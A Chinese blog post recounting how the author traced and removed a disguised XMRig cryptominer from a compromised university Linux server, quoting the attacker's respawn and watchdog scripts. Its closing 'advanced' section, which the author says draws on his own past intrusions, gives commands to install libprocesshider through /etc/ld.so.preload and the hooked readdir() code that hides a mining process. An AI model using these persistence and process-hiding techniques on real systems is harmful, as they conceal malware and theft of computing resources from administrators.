服务器关机了怎么办_记一次“艰辛”的服务器反黑过程
写在前面:这是一篇技术post,详细记述了一次作者单位的Linux操作系统反黑过程,如果你不感兴趣,也请对文首的安全建议提起重视并遵循这些建议提升(服务器的)安全性。
安全建议(按照重要性降序排列)
1.不要随意给出root密码,也不要随意把某个账户设置为sudoer,刀架在裆部,sudoer也永远只给一个人2.创建用户的时候,尽量把密码设置的复杂(字母、数字和符号的组合)3.善用本机的防火墙程序,比如CentOS 7的firewall
,不要出现绝大多数端口默认开启TCP/UDP这样生物狗的惯用“方便”设置4.尽量保证NAT等等的完整性,谨慎使用SSH reverse tunnel等技术进行内网穿透等操作(不要轻易暴露内网)
至此,对技术不感兴趣的朋友可以不必往下看了。有追求的小伙伴们可以继续读。
反黑过程
今天早上睡得迷迷糊糊被同事电话吵醒了,但是意识模糊,不等接通电话又睡死过去了,然后最终睡醒发现原来服务器被黑了,简直“垂死梦中惊坐起”,赶紧爬起来。详细询问了网管具体情况之后,他给我贴了一张图:
其实Linux操作系统下哪怕一段内存数据、一个进程都是文件形式的,何来“病毒”一说?对方一定是一个恶意脚本文件。留意到红框内的URL的xmrig字样,xmrig[1]是开源社区“臭名昭著”的挖矿程序,这个URL是矿池地址无疑了。因此我高度怀疑我们这台服务器是被劫持掉为hacker挖矿提供算力了(也就是所谓的肉鸡)。
至于为什么会被劫持,我并不方便透露。
由于xmrig是主要基于CPU的挖矿程序,我第一反应自然是使用htop
看一下占用CPU最高的进程是什么:
这很科学,看来我最担心的情况(见下文“进阶”部分)没有发生,可疑的进程是可以被直接观察到的。
这个名为wqj
的用户,经过盘查,最初创建的时候,密码居然也是wqj
,所以请大家看回上文的“安全建议”,真的不要作死。后来据说这个叫wqj
的沙雕很菜且工作不认真,离开了我们单位之后,他的账号也被“删除”了,但是很不幸,执行“删除账号”操作的弟兄不够认真,只是删除了家目录/home/wqj
,而没有使用userdel
去删除用户,自此留下了安全隐患。
这里要特别鸣谢一下亲师弟朱小煜[2]同学,没有你的帮助,我不可能在最短时间内掌握详细的hacker入侵的过程,解决问题会变得男上加男。
亲师弟仔细帮我阅读并排查了操作系统安全日志/var/log/secure
的内容(我估计眼睛都看瞎了,需要吃鱼补一补?),我们可以看到以下线索:
首先,hacker早在2月24号就开始动手了,顺利登陆了wqj
的账户并且修改了密码。
以及他还顺便scan了一周所有的用户名,看看还有哪个是易于攻击的。我们观察到一些其他的线索显示他对每个用户名都进行了两次尝试,毫无疑问其中一次必然是和用户名相同的密码,第二次是什么我们就不得而知了,不过想来应该是1234567890
之类的简单东西。
多么侥幸的做法啊!但是这都中招,也从侧面反映了我们的网络安全意识非常糟糕。
留意到一个情况,高CPU占用的进程名为./sshd
,它前面有./
,显然并非真正的sshd
程序,但是依然有这样的两种可能:
1.它只是一个“本份”的加了壳的挖矿程序2.它可能在挖矿之余,还在尝试用穷举法暴力拆解其他用户的密码组合
如果是后者,那太可怕了。同事建议我先断网、关机,但是难道服务器一世都不开机、不联网吗?切断hacker和服务器的连接根本无济于事,因为所有事情都在脚本里写好了,一切都是自动的,挖矿程序只需要一个代表用户名的hash值和一个矿池地址就足够了,根本不需要人去操作什么。如果恶意脚本文件隐藏得足够深,贸贸然切断进程与其的联系(虽然熟练使用lsof
等还是可以追溯),只会使得后续的处理更加男。草率处理,只会增加使更多的用户甚至局域网内的其他机器都沦为肉鸡的风险。而且在我们并不清楚攻击者的意图的前提下,这样做更加冒险,如果对方是恶意的,大可在偷算力之余清空你硬盘上的文件,弱弱地问一句,你们还毕不毕业?与之相比,损失一点点电费算得上什么?
留意到之前的可疑进程的PID是24304
,使用sudo lsof -p 24304
追溯一下这个进程涉及的文件信息:
注意我红框内的内容:开始我以为对方使用了比较高级的技巧(详见下文“进阶”篇)隐藏了cybernetikusminer
这个程序真实的信息,结果发现并非如此,我高估了他了...
涉及的驱动器路径是/dev/shm/
,其下的详细路径是/.oznminerv2
,如果是直接这样去访问:
cd /dev/shm/.oznminerv2
肯定是访问不到的。因为相对路径居然是/.oznminerv2
,这个开头的/
是个什么鬼?
因为绝大多数tty软件都是黑底白字,hacker显然技巧不够深,但是擅用诡计,真实的目录是/dev/shm/ /.oznminerv2
,Linux下允许使用纯空格作为目录名,但是这个空格会被终端client程序内的背景色掩盖掉,很难发现问题。但是只要我们活用cat
命令就躲不过我们的法眼。核实一下,果然:
这个沙雕,他还真是个小机灵鬼呢!这ls
的输出的第一行,它可不就是一个不起眼的空格吗!
甚至你用cd /dev/shm/ /.oznminerv2
都无法直接定位到这个目录,因为第二个空格之后的内容会被认为是cd
命令的第二个参数。
既然问题在这里,接下来的事情就很容易了。为了操作简便,我用支持SFTP协议的文件管理器访问了恶意脚本所在的目录,发现内容是这样:
你们看到那性感的三个小点点了吗!我真是感受到了深深的恶意。原来cybernetikusminer
根本就不是程序名,sshd
也不是,它只是文件名字太长,显示不开,全名是sshd(此处省略一万个空格)cybernetikusminer
,所以导致一班系统工具里面显示都不正常,又是诡计!
这个文件是binary的,明摆了就是xmrig
的主程序了,改了名字而已。既然主程序在这里,相信配置文件也不会远了。留意到这个目录里的文件大小,我打开那个文件名依然为空格的文件看了一眼内容:
果然!性感程序,在线挖矿!
干死进程,准备通知相关人员修改密码和注意安全问题,我以为这次入侵处理告一段落了。
没想到,没过几秒,这个沙雕进程它又双叒叕出现了!
留意到刚刚那个存放恶意程序的目录的其他几个文件内容,首先是这个ozn
:
nohup ./edoeprost &clear ; rm -rf nohu* ; clear ; echo "background succesfully - sile cyber - 2k20 - blana-bomba.exe 300iq.dll"ps -x | egrep cybsleep 3 ; rm -rf nohu* set default
这么看,似乎hacker还做了一些针对Windows机器的适配,但是这一层不重要,让我们转而查看edoeprost
的内容:
while true ; do./sloboz ; sleep 5done
哟!(请自觉脑补河北腔)真是个磨人的小妖精!我ps aux | grep edoeprost
一下看看是不是有这个进程:
看来hacker的一个核心思路是使用高CPU占用的进程来吸引维护者的注意力,但是就明修栈道、暗度陈仓。
既然整件事逐渐浮出来了,不如顺藤摸瓜,看看sloboz
的内容:
#!/bin/bashservice="sshd cybernetikusminer"if (( $(ps -x | grep -v grep | grep $service | wc -l) > 0 ))thenecho "x"else./startfi
hacker居然还参考了Linux下daemon进程的设计...脚本指向start
,那么它里面又是什么鬼?
start
文件前340行都是空白,直到第341行才是正片,只有寥寥几字的./sshd* -c
。
hacker为了binary的主程序不被发现,还特意做了这几笔峰回路转的设计,可惜在真正的实力面前,这些都是小把戏啊...
删目录!kill
!搞定!
进阶
hacker的手法其实很青涩,只是活用了空格,完全谈不上艺术。感觉可能是荷兰的一个高中生所为?如果对Linux内核和C语言有更深的理解,其实可以将这件事做到密不透风,简单po一下我早年入侵肉鸡的一个思路——究竟如何才能不着痕迹地把特定的进程隐藏起来?
想隐藏进程,首先就要深刻理解常见进程查看工具,比如top
、ps
和lsof
这些命令的原理。在Linux中,所有进程都以文件的形式存在,所以这个/proc
目录详细记录了全部进程的信息。在调用比如ps
这些命令的时候,无非也只是解析其目录的内容:
这些数字就是对应每个进程的PID。每个进程在创建伊始,都会在/proc
下生成这样的一个目录,里面保存了很多信息。如果你是一只生信狗,看这篇日记的时候就应该想到,当你提交了一条任务,跑了很久都没跑完,以至于你都不记得当初把它提交时用的命令行参数了,怎么办?别担心,只要cat /proc/PID/cmdline
(PID
替换成对应的进程ID)就可以看到万恶♂之源(误)。
仔细阅读上述几个工具的源代码就可以发现,其实ps
等程序调取/proc
的内容其实都在使用openat()
和getdents()
这些用C代码实现的函数。而openat()
和getdents()
也并非根源,它们也要调用更为底层的C标准库(libc
),里面提供了两个函数:opendir()
和readdir()
。到目前为止,把进程藏起来大概可以有这样几个思路:
1.对类似SELinux这样的子系统做手脚。这个真不好改,其次,服务器管理员可能一早就睿智地把它关了。2.把top
、ps
和lsof
这些程序的二进制可执行文件改了。这个切实可行,但是你就要去改它们各自的源码。有几个类似的工具,就改几次,它更新,你再去改...再编译...你累不累啊?3.改掉libc
。既然大家都在用libc的readdir()
,改了它就一劳永逸!让它查看不到某些进程在/proc
里面的内容就好了。4.直接修改内核对诸如getdents()
函数的调用方式。
综上,前两点基本不可行,第四点牵连甚广也不宜作死,似乎最方便的办法就是改libc
。有人要问,那我不是得重新编译内核?我不是得重启肉鸡的操作系统?都重启了我要搞个锤子?
别急嘛。这里就要利用一下Linux的预加载(preload)动态链接库的特性。Linux为了加速操作系统的运行响应速度,会把一些动态链接库(.so
,即Windows下的.dll
)预加载到内存中。我们可以捣鼓一个假的readdir()
函数出来,加入操作系统的预加载列表内。之后系统再调用readdir()
函数的时候,由于函数签名相同,早就已经被我们自己写的版本覆盖(reload)掉,是一个假的readdir()
了。代码逻辑也很简单,发现进程名称和设定的一致,就跳过。这里我们为了少写代码,借用一下别人的轮子[3]:
git clone git@github.com:gianlucaborello/libprocesshider.gitcd libprocesshider# 编译make# 把编译好的动态链接库放好sudo mv libprocesshider.so /usr/local/lib/# 加入预加载列表# 这一行要用root账户添加echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
代码怎么改?比如我们想要隐藏xmrig
,那么就改掉processhider.c
里面的process_to_filter
变量:
static const char* process_to_filter = "xmrig"
篡改后的readdir()
是这样的:
struct dirent* readdir(DIR *dirp) \{ \ if(original_##readdir == NULL) { \ original_##readdir = dlsym(RTLD_NEXT, "readdir"); \ if(original_##readdir == NULL) \ { \ fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \ } \ } \ \ struct dirent* dir; \ \ while(1) \ { \ dir = original_##readdir(dirp); \ if(dir) { \ char dir_name[256]; \ char process_name[256]; \ if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \ strcmp(dir_name, "/proc") == 0 && \ get_process_name(dir->d_name, process_name) && \ strcmp(process_name, process_to_filter) == 0) { \ continue; \ } \ } \ break; \ } \ return dir; \}
看着那句continue
,你感受到了深深的恶意了吗?
不是我说笑,如果不使用sysdig
这样代码从头实现的工具,hacker自己都该找不到自己的挖矿进程在哪里了,自己都杀不掉自己的进程,被攻击的人谈何发现?
“我杀不掉我自己!”
只能默默地看着自己的服务器变成僵尸,看着滔滔电费东逝水...
最后总结一下:
1.网络安全无小事,真的不重视的话,迟早有一天不能毕业2.遇到事情不要慌,在损失可控的前提下,想想根治的办法,睇定D先
今早(睡醒)搞到现在喂!好辛苦的!是不是打赏关注分享一波民工三连?
References
[1]
xmrig: https://github.com/xmrig/xmrig[2]
朱小煜: https://github.com/kingzhuky[3]
轮子: https://github.com/gianlucaborello/libprocesshider
服务器关机了怎么办_记一次“艰辛”的服务器反黑过程相关推荐
- 服务器关机了怎么办_我们把服务器从1米多的台子上扔下来了,没坏
是的,我们真会把服务器从最高1.2米的台子上把服务器摔下来. 这是为了给它做整机跌落测试. 检测服务器能否在震动.冲击等极端情况下,给用户提供稳定的服务. 只有通过的服务器,才能进入腾讯云的数据中心. ...
- java环境搭建_记一次阿里云服务器Java相关环境搭建的过程
Java在Web开发中有着不可或缺的地位,在我们通常开发中,为了使编写的demo或者项目能够让更多的朋友看到,我们通常会将项目打包发布到网络中的服务器上,以便让更多的人访问到我们的劳动成果上.想着我们 ...
- 域控服务器取消验证_记一次域控服务器应急
搜索公众号:暗网黑客 可领全套网络安全课程.配套攻防靶场 一介小白是如何成长为黑客大佬的 一.背景介绍 这是去年11月份的应急事件,反复到客户现场多次才找到原因,最后得到的结论也极为简单. 解决问题过 ...
- 宝塔面板服务器ip地址修改_「网站」快速搭建服务器环境及网站
目录:「NAS」我的搭建NAS全过程 在文章开头我想说明的是,此文章中所使用的工具为 BT 面板即宝塔面板,适合小白使用 但是对于想要提升个人能力来说, BT 面板并不是一个好选择,而作为新手来说,可 ...
- 可以访问本地mysql服务器的命令是_在用户访问本地MySQL服务器时,访问命令可以省略“–h localhost”。...
[单选题]1.男性,46岁,胃溃疡伴瘢痕性幽门梗阻.行毕Ⅱ式胃大部切除术后第8天,突然发生上腹部剧痛,呕吐频繁,每次量少,不含胆汁,呕吐后症状不缓解.体检:上腹部偏右有压痛.首先考虑并发了 [判断题] ...
- 买个云服务器有啥用_买了一台云服务器到底能干嘛?
大家好,我是姜奋斗,目前在阿里云负责建站系统的运营(没错,阿里云也卖建站产品!!),云服务器也是阿里云的核心产品,我对此有所了解.下面把我了解的分享给大家. 云服务器 ECS(Elastic Comp ...
- mysql服务器默认使用用户_在Windows下配置MySql服务器默认使用的用户是
在Windows下配置MySql服务器默认使用的用户是 答:root 制单的基本要求是 答:完整 及时 简明 正确 为了妥善解决各类旅游企业受损严重,普遍面临的现金流不足.应收账款风险.大量游客投诉和 ...
- 买个云服务器有啥用_买了一台云服务器可以干嘛
随着云计算的快速发展,云服务器在市场上的应用越来越广泛,然而很多人对云服务模式和作用并不了解,那么到底有一个云服务器可以干嘛呢? 1.用来放网站 Web服务器的应用通常是最常见的,可以按照日常平均PV ...
- 我的世界服务器java启动脚本_我的世界 如何让服务器自动重启呢 自动重启脚本方法...
今天为大家带来了<我的世界>自动重启的一个脚本,如何让服务器自动重启呢?那就来看看小编为大家带来的文章吧! 首先,你要有一个对应你服务器核心的插件,能让你的服务器实现定时关闭服务器. 说白 ...
最新文章
- 超越对手之四、五、六
- go开源项目influxdb-relay源码分析(一)
- 已知二叉树的前序遍历、中序遍历或者中序遍历、后序遍历求二叉树结构的算法
- JAVA的内省机制(introspector)与反射机制(reflection)
- 实验2 java_《Java程序设计》实验2
- CSS常见的四种垂直居中的方法
- HDU 4431 Mahjong(模拟题)
- JDK源码解析之 java.lang.Long
- 【7集iCore3基础视频】7-2 iCore3原理图介绍
- SendInput模拟键盘输入的问题 转
- oracle rac redo log,RAC共享online redo log和archived log的官方说明
- mysql中时间类型datetime,timestamp与int的区别
- 一次不愉快的面试经历
- QCon旧金山演讲总结:阿里无线技术架构演进
- python爬虫xpath提取数据_python爬虫的页面数据解析和提取/xpath/bs4/jsonpath/正则(1)...
- matlab模糊聚类分析画树状图,Matlab笔记模糊聚类分析原理及实现
- 任正非:一个人对自己都不狠,哪来的战斗力?
- 什么是Android性能,如何分析性能问题?
- 微信小程序如何加密?
- touch触摸事件以及常用触摸功能
热门文章
- 服务器机柜型号及技术参数
- 程序设计java银行自动取款机_模拟自动取款机系统(JAVA)
- 超级搜索 v1.0.1(附带 插件开发模板)
- 苹果报告问题_郭明錤:入门款iPhone 12的相机镜头供应商遇到质量问题,但不会影响新品的发布时间...
- OpenCV截取图像的任意形状区域,规则的图形(圆、椭圆、矩形),不规则鼠标自己选择
- 超大文件中在有限的内存里找到单词频率 top 100
- 大数据基础架构Hadoop,终于有人讲明白了
- 理解监督学习和无监督学习的定义
- 生成图像质量和多样性的评估方法
- IDEA卡在Downloading maven plugins的解决方法